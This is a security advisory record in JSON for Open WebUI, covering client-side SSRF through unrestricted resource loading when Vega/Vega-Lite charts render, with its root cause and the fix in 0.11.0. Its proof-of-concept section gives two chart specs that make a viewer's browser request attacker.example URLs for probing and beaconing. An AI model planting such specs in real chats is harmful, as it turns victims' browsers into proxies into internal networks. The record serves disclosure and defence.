{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.34"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T19:54:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nOpen WebUI renders `vega` and `vega-lite` fenced code blocks in chat content by building a Vega view in the viewer\u0027s browser without a restricted resource loader. Any user who can place such a block where another user will see it can make that user\u0027s browser issue attacker-chosen outbound GET requests, and read back responses from same-origin or CORS-permissive targets into the rendered page. Because the request comes from the browser, server-side SSRF protections never see it.\n\n## Preconditions\nDefault configuration, no flags or environment variables involved: Vega blocks render unconditionally wherever chat content is displayed. The attacker needs an account that can put content in front of the victim, which covers a shared chat, a channel message, and model, RAG or tool output the attacker can influence. The victim must open the message, so this is not zero-click. Deployments where the victim\u0027s browser has no network position of interest lose little.\n\n## Impact\nThe victim\u0027s browser becomes a request proxy into whatever it can reach: internal hosts and ports behind the perimeter, same-site endpoints, and out-of-band beacons that confirm a chart was viewed and by whom. Where the target is same-origin or returns permissive CORS headers, the response body is pulled back into the chart in the victim\u0027s page, which turns the request into a read. Requests are GET only, and no server-side data is exposed to the attacker directly.\n\n## Fix\nFixed in 5278eb906 (#26806), released in 0.11.0. The view is now constructed with a loader whose `load` always throws and whose `sanitize` resolves the URI with the browser\u0027s own URL parser and permits only `data:` and same-origin results, so charts can only use inline `data.values`. Upgrading is sufficient; no configuration change is needed.\n\n## Root cause\n- `src/lib/utils/index.ts` \u2014 `renderVegaVisualization`\n- `src/lib/components/chat/Messages/CodeBlock.svelte` \u2014 renders `vega`/`vega-lite` blocks\n\nThe renderer treated a chart spec as trusted authored content rather than as untrusted chat text, so it accepted Vega\u0027s default loader. That loader has two separate ways out of the page: `data.url` and topojson/geo sources are fetched at view construction, and image marks pass their `url` through `sanitize` and are written into the output SVG as `\u003cimage href\u003e`, which the browser fetches when the chart is displayed. The second path survives downstream SVG sanitization because the URL is a legitimate attribute value, not markup.\n\n## Proof of concept\nPost either block into a chat, channel message, or shared chat that the victim will open. Neither requires the victim to interact beyond viewing.\n\n```vega-lite\n{\"$schema\":\"https://vega.github.io/schema/vega-lite/v5.json\",\"data\":{\"url\":\"http://attacker.example/probe?a=1\"},\"mark\":\"point\"}\n```\n\n```vega-lite\n{\"$schema\":\"https://vega.github.io/schema/vega-lite/v5.json\",\"data\":{\"values\":[{\"x\":1}]},\"mark\":{\"type\":\"image\",\"url\":\"http://attacker.example/beacon.png\"},\"encoding\":{\"x\":{\"field\":\"x\"}}}\n```\n\nThe first fires at view construction; the second fires when the rendered SVG is displayed. Both are visible as outbound requests in the victim\u0027s network log and in the attacker\u0027s listener. After the fix neither request is made and inline `data.values` charts still render.\n\n## Credits\n- @Zureno \u2014 reported the issue and the `data.url` path.\n- @Classic298 \u2014 identified the image-mark sink and authored the fix.",
  "id": "GHSA-rffm-9q57-q649",
  "modified": "2026-08-04T19:54:57Z",
  "published": "2026-08-04T19:54:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-rffm-9q57-q649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/pull/26806"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/5278eb906ebecefc6538a19bc86df09d997e43e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Client-side SSRF via unrestricted external resource loading in Vega/Vega-Lite chart rendering"
}